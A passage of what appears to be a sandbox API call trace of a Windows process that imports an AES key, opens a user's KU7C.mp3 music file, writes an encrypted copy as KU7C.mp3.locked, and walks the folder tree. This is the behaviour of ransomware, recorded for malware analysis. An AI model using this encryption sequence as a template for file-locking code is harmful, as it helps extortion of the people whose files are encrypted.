(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.839] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.839] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.839] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.839] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.839] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.840] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.840] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.840] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.840] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.841] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.841] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396e78) returned 1 [0134.842] CryptImportKey (in: hProv=0x4396e78, pbData=0x6a4f10c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84fb8) returned 1 [0134.842] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.842] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.842] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.842] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 0x20 [0134.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 0x20 [0134.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.843] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.844] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.844] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.844] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.844] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.844] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.844] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.844] GetFileType (hFile=0x858) returned 0x1 [0134.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.845] GetFileType (hFile=0x858) returned 0x1 [0134.845] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.845] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.845] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.845] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.845] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.845] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked", lpFilePart=0x0) returned 0x2b [0134.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.845] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.846] GetFileType (hFile=0x874) returned 0x1 [0134.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.846] GetFileType (hFile=0x874) returned 0x1 [0134.846] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.846] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x6a63994 | out: pbBuffer=0x6a63994) returned 1 [0134.846] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.846] CryptDuplicateKey (in: hKey=0x8e84fb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e850f8) returned 1 [0134.846] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.846] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x4, pbData=0x6a64c50*=0x1, dwFlags=0x0) returned 1 [0134.846] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x1, pbData=0x6a64c1c, dwFlags=0x0) returned 1 [0134.846] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2c30\x438\x242") returned 0x0 [0134.846] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.846] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.846] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.847] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.847] ReadFile (in: hFile=0x858, lpBuffer=0x6a681ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a681ac*, lpNumberOfBytesRead=0x99ae7a8*=0x8412, lpOverlapped=0x0) returned 1 [0134.847] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a7c1b8*, pdwDataLen=0x99ae79c*=0x8410, dwBufLen=0x8410 | out: pbData=0x6a7c1b8*, pdwDataLen=0x99ae79c*=0x8410) returned 1 [0134.847] WriteFile (in: hFile=0x874, lpBuffer=0x6a63a54*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a63a54*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.848] WriteFile (in: hFile=0x874, lpBuffer=0x6a7d1a4*, nNumberOfBytesToWrite=0x7424, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a7d1a4*, lpNumberOfBytesWritten=0x99ae780*=0x7424, lpOverlapped=0x0) returned 1 [0134.848] ReadFile (in: hFile=0x858, lpBuffer=0x6a681ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a681ac*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.848] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a845ec*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a845ec*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.848] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a84620*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a84620*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.848] WriteFile (in: hFile=0x874, lpBuffer=0x6a63a54*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a63a54*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.848] CloseHandle (hObject=0x874) returned 1 [0134.850] CloseHandle (hObject=0x858) returned 1 [0134.850] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.850] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.850] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.850] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.850] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 0x20 [0134.851] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.851] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.852] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.852] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.852] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.852] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.852] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.852] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.852] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.853] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 0x20 [0134.853] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.853] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.853] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.853] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3", lpFilePart=0x0) returned 0x24 [0134.853] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: 